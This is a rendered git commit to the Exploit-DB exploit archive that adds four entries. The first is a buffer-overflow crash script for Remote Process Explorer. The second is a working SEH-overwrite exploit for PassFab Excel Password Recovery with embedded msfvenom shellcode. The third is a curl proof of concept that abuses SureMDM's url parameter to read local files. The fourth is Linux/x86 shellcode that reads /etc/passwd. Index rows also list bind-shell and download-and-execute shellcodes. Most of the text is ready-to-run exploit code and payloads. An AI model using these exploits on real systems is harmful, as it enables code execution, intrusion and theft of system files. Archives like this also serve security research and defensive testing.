DB: 2019-02-02
4 changes to exploits/shellcodes Remote Process Explorer 1.0.0.16 - Denial of Service SEH Overwrite (PoC) PassFab Excel Password Recovery 8.3.1 - SEH Local Exploit SureMDM < 2018-11 Patch - Local / Remote File Inclusion Linux/x86 - Read /etc/passwd Shellcode (58 Bytes) (3)
This commit is contained in:
Offensive Security
parent
68794471c9
commit
6050f45223
6 changed files with 249 additions and 0 deletions
95
exploits/windows/dos/46304.py
Executable file
95
exploits/windows/dos/46304.py
Executable file
|
|
@ -0,0 +1,95 @@
|
|||
# Exploit Title: Remote Process Explorer v1.0.0.16 - Denial of Service (PoC) and SEH overwritten Crash PoC
|
||||
# Discovery by: Rafael Pedrero
|
||||
# Discovery Date: 2019-01-30
|
||||
# Vendor Homepage: http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16
|
||||
# Software Link : http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16
|
||||
# Tested Version: 1.0.0.16
|
||||
# Tested on: Windows XP SP3
|
||||
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
|
||||
|
||||
# Steps to Produce the Crash:
|
||||
# 1.- Run rpexplorer.exe
|
||||
# 2.- copy content rpexplorer_Crash.txt to clipboard (result from this python script)
|
||||
# 3.- Go to "Add computer" and paste the result in the first textbox and click in Add button.
|
||||
# 4.- Select "AAAAAAAAA...." computer, right mouse button and Connect and you will see a crash.
|
||||
|
||||
'''
|
||||
|
||||
Detect:
|
||||
|
||||
SEH chain of thread 00000144
|
||||
Address SE handler
|
||||
0114FEC8 78413977
|
||||
41387741 *** CORRUPT ENTRY ***
|
||||
|
||||
EAX 0114FEBC
|
||||
ECX 0114FEC0 ASCII
|
||||
"w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B
|
||||
EDX 41347741
|
||||
EBX 0116236C
|
||||
ESP 0114FBF0
|
||||
EBP 0114FEC0 ASCII
|
||||
"w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B
|
||||
ESI 000000D4
|
||||
EDI 00000000
|
||||
EIP 00404F48 rpexplor.00404F48
|
||||
C 0 ES 0023 32bit 0(FFFFFFFF)
|
||||
P 1 CS 001B 32bit 0(FFFFFFFF)
|
||||
A 0 SS 0023 32bit 0(FFFFFFFF)
|
||||
Z 0 DS 0023 32bit 0(FFFFFFFF)
|
||||
S 0 FS 003B 32bit 7FFDC000(FFF)
|
||||
T 0 GS 0000 NULL
|
||||
D 0
|
||||
O 0 LastErr ERROR_SUCCESS (00000000)
|
||||
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
|
||||
ST0 empty
|
||||
ST1 empty
|
||||
ST2 empty
|
||||
ST3 empty
|
||||
ST4 empty
|
||||
ST5 empty
|
||||
ST6 empty
|
||||
ST7 empty
|
||||
3 2 1 0 E S P U O Z D I
|
||||
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
|
||||
FCW 1272 Prec NEAR,53 Mask 1 1 0 0 1 0
|
||||
|
||||
Log data, item 24
|
||||
Address=0BADF00D
|
||||
Message= SEH record (nseh field) at 0x0114fec8 overwritten with normal
|
||||
pattern : 0x41387741 (offset 684), followed by 308 bytes of cyclic data
|
||||
after the handler
|
||||
|
||||
Check after script:
|
||||
|
||||
SEH chain of thread 00000D04
|
||||
Address SE handler
|
||||
0114FEC8 43434343
|
||||
42424242 *** CORRUPT ENTRY ***
|
||||
|
||||
|
||||
Log data, item 53
|
||||
Address=7E6E5E50
|
||||
Message= 0x7e6e5e50 : pop ebx # pop ebp # ret 0x04 | asciiprint,ascii
|
||||
{PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH:
|
||||
True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
|
||||
|
||||
|
||||
'''
|
||||
|
||||
#!/usr/bin/env python
|
||||
|
||||
'''
|
||||
calc = ("\x31\xC9" # xor ecx,ecx
|
||||
"\x51" # push ecx
|
||||
"\x68\x63\x61\x6C\x63" # push 0x636c6163
|
||||
"\x54" # push dword ptr esp
|
||||
"\xB8\xC7\x93\xC2\x77" # mov eax,0x77c293c7
|
||||
"\xFF\xD0") # call eax
|
||||
'''
|
||||
|
||||
crash = "\x41" * 684 + "BBBB" + "CCCC"
|
||||
#crash = "\x41" * 684 + "\xEB\x14\x90\x90" + "\x50\x5e\x6e\x7e" + "\x90" * 24 + calc + "A"*(1000 - 32)
|
||||
f = open ("rpexplorer_Crash.txt", "w")
|
||||
f.write(crash)
|
||||
f.close()
|
||||
59
exploits/windows/local/46301.py
Executable file
59
exploits/windows/local/46301.py
Executable file
|
|
@ -0,0 +1,59 @@
|
|||
# Exploit Title: PassFab Excel Password Recovery SEH Local Exploit
|
||||
# Date: 31.01.19
|
||||
# Vendor Homepage:https://www.passfab.com/products/excel-password-recovery.html
|
||||
# Software Link: https://www.passfab.com/downloads/passfab-excel-password-recovery.exe
|
||||
# Exploit Author: Achilles
|
||||
# Tested Version: 8.3.1
|
||||
# Tested on: Windows XP SP3
|
||||
|
||||
|
||||
# 1.- Run python code : PassFab_RAR
|
||||
# 2.- Open EVIL.txt and copy content to clipboard
|
||||
# 3.- Open PassFab RAR Password Recovery
|
||||
# 4.- In the new Window click on the key in the upper right corner
|
||||
# 5.- Paste the content of EVIL.txt into the Field: 'Licensed E-mail and Registration Code'
|
||||
# 6.- Click 'Register'and the calculator will open
|
||||
# 7.- Greetings go:XiDreamzzXi,Metatron
|
||||
|
||||
#!/usr/bin/env python
|
||||
import struct
|
||||
|
||||
buffer = "\x41" * 260
|
||||
NSEH = "\xeb\x06\x90\x90" #jmp short 6
|
||||
SEH = struct.pack('<L',0x100674dd) #pop pop ret SoftwareLog.dll
|
||||
nops = "\x90" * 20
|
||||
|
||||
#badchar \x00\
|
||||
#msfvenom -p windows/exec CMD=calc.exe -b "\x00" -f python
|
||||
buf = ""
|
||||
buf += "\xbf\xc6\xde\x94\x3e\xda\xd0\xd9\x74\x24\xf4\x5d"
|
||||
buf += "\x31\xc9\xb1\x31\x31\x7d\x13\x03\x7d\x13\x83\xc5"
|
||||
buf += "\xc2\x3c\x61\xc2\x22\x42\x8a\x3b\xb2\x23\x02\xde"
|
||||
buf += "\x83\x63\x70\xaa\xb3\x53\xf2\xfe\x3f\x1f\x56\xeb"
|
||||
buf += "\xb4\x6d\x7f\x1c\x7d\xdb\x59\x13\x7e\x70\x99\x32"
|
||||
buf += "\xfc\x8b\xce\x94\x3d\x44\x03\xd4\x7a\xb9\xee\x84"
|
||||
buf += "\xd3\xb5\x5d\x39\x50\x83\x5d\xb2\x2a\x05\xe6\x27"
|
||||
buf += "\xfa\x24\xc7\xf9\x71\x7f\xc7\xf8\x56\x0b\x4e\xe3"
|
||||
buf += "\xbb\x36\x18\x98\x0f\xcc\x9b\x48\x5e\x2d\x37\xb5"
|
||||
buf += "\x6f\xdc\x49\xf1\x57\x3f\x3c\x0b\xa4\xc2\x47\xc8"
|
||||
buf += "\xd7\x18\xcd\xcb\x7f\xea\x75\x30\x7e\x3f\xe3\xb3"
|
||||
buf += "\x8c\xf4\x67\x9b\x90\x0b\xab\x97\xac\x80\x4a\x78"
|
||||
buf += "\x25\xd2\x68\x5c\x6e\x80\x11\xc5\xca\x67\x2d\x15"
|
||||
buf += "\xb5\xd8\x8b\x5d\x5b\x0c\xa6\x3f\x31\xd3\x34\x3a"
|
||||
buf += "\x77\xd3\x46\x45\x27\xbc\x77\xce\xa8\xbb\x87\x05"
|
||||
buf += "\x8d\x34\xc2\x04\xa7\xdc\x8b\xdc\xfa\x80\x2b\x0b"
|
||||
buf += "\x38\xbd\xaf\xbe\xc0\x3a\xaf\xca\xc5\x07\x77\x26"
|
||||
buf += "\xb7\x18\x12\x48\x64\x18\x37\x2b\xeb\x8a\xdb\x82"
|
||||
buf += "\x8e\x2a\x79\xdb"
|
||||
|
||||
payload = buffer + NSEH + SEH + nops + buf
|
||||
|
||||
|
||||
try:
|
||||
f=open("Evil.txt","w")
|
||||
print "[+] Creating %s bytes evil payload.." %len(payload)
|
||||
f.write(payload)
|
||||
f.close()
|
||||
print "[+] File created!"
|
||||
except:
|
||||
print "File cannot be created"
|
||||
13
exploits/windows/webapps/46305.txt
Normal file
13
exploits/windows/webapps/46305.txt
Normal file
|
|
@ -0,0 +1,13 @@
|
|||
# Exploit Title: SureMDM LFI/RFI (Prior to 2018-11 Patch)
|
||||
# Google Dork: inurl:/api/DownloadUrlResponse.ashx
|
||||
# Date: 2019-02-01
|
||||
# Exploit Author: Digital Interruption
|
||||
# Vendor Homepage: https://www.42gears.com/
|
||||
# Software Link: https://www.42gears.com/products/suremdm-home/
|
||||
# Version: Versions prior to the November 2018 patch
|
||||
# Tested on: Windows
|
||||
# CVE : CVE-2018-15657
|
||||
|
||||
An attacker can force the web server to request remote files and display the output by placing any arbitrary URL in the "url" parameter of /api/DownloadUrlResponse.ashx. This can also be utilised to request files from the local file system by using the file:// URI syntax, such as file://C:/WINDOWS/System32/drivers/etc/hosts
|
||||
|
||||
Proof of concept: curl -H "ApiKey: apiKey" http://target/api/DownloadUrlResponse.ashx?url=file://C:/WINDOWS/System32/drivers/etc/hosts
|
||||
|
|
@ -6291,6 +6291,7 @@ id,file,description,date,author,type,platform,port
|
|||
46298,exploits/multiple/dos/46298.c,"macOS < 10.14.3 / iOS < 12.1.3 - Sandbox Escapes due to Type Confusions and Memory Safety Issues in iohideventsystem",2019-01-31,"Google Security Research",dos,multiple,
|
||||
46299,exploits/multiple/dos/46299.c,"macOS < 10.14.3 / iOS < 12.1.3 XNU - 'vm_map_copy' Optimization which Requires Atomicity isn't Atomic",2019-01-31,"Google Security Research",dos,multiple,
|
||||
46300,exploits/multiple/dos/46300.c,"macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving Statistics",2019-01-31,"Google Security Research",dos,multiple,
|
||||
46304,exploits/windows/dos/46304.py,"Remote Process Explorer 1.0.0.16 - Denial of Service SEH Overwrite (PoC)",2019-02-01,"Rafael Pedrero",dos,windows,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
|
@ -10271,6 +10272,7 @@ id,file,description,date,author,type,platform,port
|
|||
46283,exploits/windows/local/46283.py,"10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH) (DEP Bypass)",2019-01-30,bzyo,local,windows,
|
||||
46288,exploits/windows/local/46288.py,"R 3.5.0 - Local Buffer Overflow (SEH)",2019-01-31,"Dino Covotsos",local,windows,
|
||||
46290,exploits/windows/local/46290.py,"UltraISO 9.7.1.3519 - 'Output FileName' Local Buffer Overflow (SEH)",2019-01-31,"Dino Covotsos",local,windows,
|
||||
46301,exploits/windows/local/46301.py,"PassFab Excel Password Recovery 8.3.1 - SEH Local Exploit",2019-02-01,Achilles,local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
@ -40770,3 +40772,4 @@ id,file,description,date,author,type,platform,port
|
|||
46274,exploits/php/webapps/46274.txt,"ResourceSpace 8.6 - 'collection_edit.php' SQL Injection",2019-01-28,dd_,webapps,php,80
|
||||
46276,exploits/php/webapps/46276.txt,"PDF Signer 3.0 - Server-Side Template Injection leading to Remote Command Execution (via Cross-Site Request Forgery Cookie)",2019-01-29,dd_,webapps,php,80
|
||||
46282,exploits/php/webapps/46282.txt,"Rukovoditel Project Management CRM 2.4.1 - 'lists_id' SQL Injection",2019-01-30,"Mehmet EMIROGLU",webapps,php,80
|
||||
46305,exploits/windows/webapps/46305.txt,"SureMDM < 2018-11 Patch - Local / Remote File Inclusion",2019-02-01,"Digital Interruption",webapps,windows,80
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
|
|
@ -938,3 +938,4 @@ id,file,description,date,author,type,platform
|
|||
46281,shellcodes/windows_x86/46281.c,"Windows/x86 - 'msiexec.exe' Download and Execute Shellcode (95 bytes)",2019-01-30,"Kartik Durg",shellcode,windows_x86
|
||||
46264,shellcodes/arm/46264.s,"Linux/ARM - Bind TCP (0.0.0.0:4321) Shell (/bin/sh) + Null-Free Shellcode (84 bytes)",2019-01-28,"Gokul Babu",shellcode,arm
|
||||
46277,shellcodes/linux_x86/46277.c,"Linux/x86 - execve(/bin/sh) + RShift-1 Encoded Shellcode (29 bytes)",2019-01-29,"Joao Batista",shellcode,linux_x86
|
||||
46302,shellcodes/linux_x86/46302.c,"Linux/x86 - Read /etc/passwd Shellcode (58 Bytes) (3)",2019-02-01,Kiewicz,shellcode,linux_x86
|
||||
|
|
|
|||
|
78
shellcodes/linux_x86/46302.c
Normal file
78
shellcodes/linux_x86/46302.c
Normal file
|
|
@ -0,0 +1,78 @@
|
|||
/*
|
||||
# Shellcode Title: Linux/x86 - Read File (/etc/passwd) (58 bytes). NULL byte free
|
||||
# Date: 2019-01-31
|
||||
# Author: Kiewicz (@_Kiewicz)
|
||||
# Homepage: https://0xkiewicz.github.io
|
||||
# Tested on: Debian/x86
|
||||
# gcc -o shellcode -z execstack -fno-stack-protector shellcode.c
|
||||
# PA-7854
|
||||
*/
|
||||
|
||||
|
||||
/******************************************************************
|
||||
$ objdump -d -M intel read_file
|
||||
|
||||
read_file: file format elf32-i386
|
||||
|
||||
|
||||
Disassembly of section .text:
|
||||
|
||||
08048060 <_start>:
|
||||
8048060: eb 28 jmp 804808a <read_file>
|
||||
|
||||
08048062 <open>:
|
||||
8048062: 5b pop ebx
|
||||
8048063: 31 c9 xor ecx,ecx
|
||||
8048065: f7 e1 mul ecx
|
||||
8048067: 99 cdq
|
||||
8048068: b0 05 mov al,0x5
|
||||
804806a: cd 80 int 0x80
|
||||
|
||||
0804806c <read>:
|
||||
804806c: 89 c3 mov ebx,eax
|
||||
804806e: b0 03 mov al,0x3
|
||||
8048070: 89 e7 mov edi,esp
|
||||
8048072: 89 f9 mov ecx,edi
|
||||
8048074: 31 d2 xor edx,edx
|
||||
8048076: b2 ff mov dl,0xff
|
||||
8048078: cd 80 int 0x80
|
||||
|
||||
0804807a <write>:
|
||||
804807a: 89 c2 mov edx,eax
|
||||
804807c: 31 c0 xor eax,eax
|
||||
804807e: b0 04 mov al,0x4
|
||||
8048080: 31 db xor ebx,ebx
|
||||
8048082: b3 01 mov bl,0x1
|
||||
8048084: cd 80 int 0x80
|
||||
|
||||
08048086 <exit>:
|
||||
8048086: b0 01 mov al,0x1
|
||||
8048088: cd 80 int 0x80
|
||||
|
||||
0804808a <read_file>:
|
||||
804808a: e8 d3 ff ff ff call 8048062 <open>
|
||||
|
||||
0804808f <filetoread>:
|
||||
804808f: 2f das
|
||||
8048090: 65 74 63 gs je 80480f6 <filetoread+0x67>
|
||||
8048093: 2f das
|
||||
8048094: 70 61 jo 80480f7 <filetoread+0x68>
|
||||
8048096: 73 73 jae 804810b <filetoread+0x7c>
|
||||
8048098: 77 64 ja 80480fe <filetoread+0x6f>
|
||||
******************************************************************/
|
||||
|
||||
#include<stdio.h>
|
||||
#include<string.h>
|
||||
|
||||
unsigned char code[] = "\xeb\x28\x5b\x31\xc9\xf7\xe1\x99\xb0\x05\xcd\x80\x89\xc3\xb0\x03\x89\xe7\x89\xf9\x31\xd2\xb2\xff\xcd\x80\x89\xc2\x31\xc0\xb0\x04\x31\xdb\xb3\x01\xcd\x80\xb0\x01\xcd\x80\xe8\xd3\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
|
||||
|
||||
int main()
|
||||
{
|
||||
|
||||
printf("Shellcode Length: %d\n", strlen(code));
|
||||
|
||||
int (*ret)() = (int(*)())code;
|
||||
|
||||
ret();
|
||||
return 0;
|
||||
}
|
||||
Loading…
Add table
Reference in a new issue